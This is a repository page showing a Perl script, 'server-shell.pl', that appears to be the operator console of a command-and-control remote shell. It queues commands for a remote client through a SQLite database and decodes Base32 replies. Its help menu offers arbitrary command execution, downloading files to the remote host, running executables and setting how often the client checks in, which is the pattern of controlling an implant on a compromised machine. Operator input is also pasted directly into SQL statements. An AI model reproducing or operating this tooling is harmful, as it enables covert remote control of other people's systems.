-
Notifications
You must be signed in to change notification settings - Fork 1
/
server-shell.pl
185 lines (168 loc) · 5.08 KB
/
server-shell.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/usr/bin/perl
###############################
# To Do
# * Learn how to run once
# * Check buff sizes both inbound / outbound (MAX 4096)
# * Get CWD & change prompt
# * Capture ^C
#
###############################
# Known bugs
#
###############################
use warnings;
use strict;
use DBI;
use MIME::Base32 qw ( RFC );
###############################
# Global Variables #
###############################
my $debug;
my $client_id;
my $hostname;
###############################
# Parse User Arguments #
###############################
foreach(@ARGV) {
if ($_ eq "-d") {
$debug = 1;
}
elsif($_ =~ /--id=(.*)/){
$client_id = $1;
}
}
###############################
# Sub Routines #
###############################
sub debug {
if ($debug) {
print "$_[0] => $_[1]\n";
}
}
sub parse_cmd {
my $typed_cmd = $_[0];
if ($typed_cmd =~ /^help$/i) {
help();
return 0;
} elsif($typed_cmd =~ /^download (.*)/i) {
send_msg("FILENAME:$1", "DOWNLOAD");
return 1;
} elsif($typed_cmd =~ /^sleep (\d+)/) {
my $sleep_value = $1;
if($sleep_value > 0 && $sleep_value < 61) {
send_msg($1, "SLEEP");
return 1;
} else {
print "Value must be between 1-60\n";
return 0;
}
} elsif($typed_cmd =~ /^exec (.*)/i) {
send_msg($1, "EXEC");
return 1;
} elsif($typed_cmd =~ /^cd (.*)/i) {
send_msg($1, "CWD");
return 1;
} elsif($typed_cmd =~ /debug (.*)/i) {
if ($1 =~ /on/i) {
$debug = 1;
} elsif ($1 =~ /off/i) {
$debug = 0;
} else {
print "Value must be either ON or OFF.\n";
}
return 0;
} elsif($typed_cmd =~ /exit/i) {
exit 0;
} else {
send_msg($typed_cmd, "CMD");
return 1;
}
}
sub help {
print "Available Commands:\tArguments\tDescription\n";
print "#######################################################################################################################\n";
print " [cmd]\t\t\t[args]\t\tType any command, like whoami, hostname, etc.\n";
print " download \t\t\t[file]\tDownload a file to remote host at current directory\n";
print " sleep\t\t\t[1...65535]\tSet the client to only check in ever x seconds.\n";
print " exec\t\t\t[file]\t\tExecutes a file as a seperate proccess.\n";
print " debug\t\t\t[on|off]\tEnables or Disables debug messaging to console.\n";
print " exit\t\t\t\t\tCloses Shell.\n";
print " help\t\t\t\t\tDisplays this menu.\n";
print "#######################################################################################################################\n";
}
sub recieve_msg {
my $return = 0;
my $client_cmd = "";
# check command
my $dbh = DBI->connect("dbi:SQLite:$client_id.db") or die $DBI::errstr;
my $sth = $dbh->prepare("SELECT CLIENT_CMD FROM cmd_queue");
$sth->execute();
my @row = $sth->fetchrow_array();
if (length($row[0]) > 0) {
$client_cmd = $row[0];
}
$sth = $dbh->prepare("UPDATE cmd_queue SET CLIENT_CMD='NULL'");
$sth->execute();
$sth->finish();
$dbh->disconnect();
if (($client_cmd eq "SLEEP") or ($client_cmd eq "CMD") or ($client_cmd eq "CWD") or ($client_cmd eq "EXEC") or ($client_cmd eq "DOWNLOAD")) {
debug("CLIENT COMMAND", $client_cmd);
$dbh = DBI->connect("dbi:SQLite:$client_id.db") or die $DBI::errstr;
$sth = $dbh->prepare("SELECT CLIENT_MSG_QUEUE FROM msg_queue");
$sth->execute();
my @row = $sth->fetchrow_array();
if (length($row[0]) > 0) {
if (($row[0] ne "NULL") && (MIME::Base32::decode($row[0]) ne "NULL")) { # JBEQ = NULL
debug("ENTRY", MIME::Base32::decode($row[0]));
$return = MIME::Base32::decode($row[0]);
}
}
$sth = $dbh->prepare("UPDATE msg_queue SET CLIENT_MSG_QUEUE='NULL'");
$sth->execute();
$sth->finish();
$dbh->disconnect();
return $return;
} elsif ($client_cmd eq "NULL") {
return 0;
} else {
debug("INVALID CLIENT CMD", $client_cmd);
die;
}
}
sub send_msg {
my $msg = $_[0];
my $cmd = $_[1];
debug("Queuing srv msg", $msg . " (" . length($msg) . " bytes)");
my $dbh = DBI->connect("dbi:SQLite:$client_id.db") or die $DBI::errstr;
my $sth = $dbh->prepare("UPDATE msg_queue SET SERVER_MSG_QUEUE='$msg'");
$sth->execute();
$sth->finish();
$dbh->disconnect();
debug("Queuing srv cmd", $cmd);
$dbh = DBI->connect("dbi:SQLite:$client_id.db") or die $DBI::errstr;
$sth = $dbh->prepare("UPDATE cmd_queue SET SERVER_CMD='$cmd'");
$sth->execute();
$sth->finish();
$dbh->disconnect();
}
sub shell{
my $rsp = "";
my $wait_for_rsp = 0;
while(1) {
use Term::Prompt;
$rsp = recieve_msg();
if ($rsp) {
print "$rsp\n";
$wait_for_rsp = 0;
} elsif (!$wait_for_rsp) {
my $cmd = prompt('x', "SHELL>", '', '');
$wait_for_rsp = parse_cmd($cmd);
} else {
sleep 1;
}
}
}
###############################
# Main #
###############################
shell();